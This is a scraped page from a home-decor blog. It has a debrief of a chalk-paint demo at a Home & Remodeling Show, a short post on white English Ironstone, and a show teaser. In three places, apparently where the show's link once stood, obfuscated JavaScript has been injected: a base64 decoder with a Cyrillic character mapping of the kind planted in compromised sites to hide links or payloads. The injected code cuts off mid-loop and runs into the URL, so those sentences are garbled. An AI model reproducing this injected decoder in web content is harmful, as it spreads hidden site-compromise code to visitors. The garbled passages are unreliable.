function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{/" rel="bookmark">…Home Show Debrief. And Exhale.

Dear Family, Friends, Readers & Audience that came from near & far,

Thank you all ever so much for coming to watch me present at the function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oeremodelingshow.com/HRS/AtTheShow/39.aspx " target="_blank">Home & Remodeling Show yesterday. I had a great time sharing Blue Egg Brown Nest with all of you & hope you learned something from the chalk painting & creative business tips I gave.

The overwhelming support started in the morning with this little Matisse.

I call it: "Nest with 3 Blue Eggs on a Tree Branch with Green Grass". Train them up in the way they should go...

Thanks Ty & Shannon for the extra marketing materials for the cars!!

DH at the loading dock ready to bring out the pieces that I brought for the chalk paint demo.

Arriving! 3 coffees deep at this point.

Sweet Stephanie that runs the whole darn show. I hope she's home taking a long winter's nap right now!

My dear parents got there about 3 hours early to help out!

You've heard me mention my dear dad that is also the jewelry designer.

Getting ready backstage.

Yes, Power Point, microphone and slide clicker-thing. And you thought I was just a mommy.

 

I don't know about you, but public speaking is not exactly my cup of tea. I was pleased to present, but am breathing a sigh of relief today! In fact, we are all still in our pjs 🙂

Here's the demo, Step #1 - paint.

Step #2 - sand & clear wax.

I will be posting the video on YouTube with my other tutorial videos in case you want to review the demo. I will also be posting the steps once again since there were alot of questions.

It was so lovely meeting so many of you that have been faithful readers. I can't thank you enough for the care & support.

xoxo,

Christen

 

…English Ironstone

I know there are collectors and vintage lovers out there that are in love with white English Ironstone. I thought I was one of them. I think it's beautiful. I love that it's English and pure white, but for some reason I'm not sure it's a fit for my space.

"White English ironstone is truly the little black dress of the American antique world. It goes with everything and fits in everywhere."  - M. Taylor

I've tried them in a few different spots and just don't feel in love.

 

I think it's such a great look if you have an open, shabby cabinet and want to stack them over and over.

Next house I'll be sure I paint one and have the space for it.

 

If interested, I will be selling my pieces in my Shop Vintage section on my site.

12 Days to the function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oeremodelingshow.com/HRS/AtTheShow/39.aspx " target="_blank">Home & Remodeling Show at the Expo Center. Join me! I will be doing an Annie Sloan Chalk Paint demo.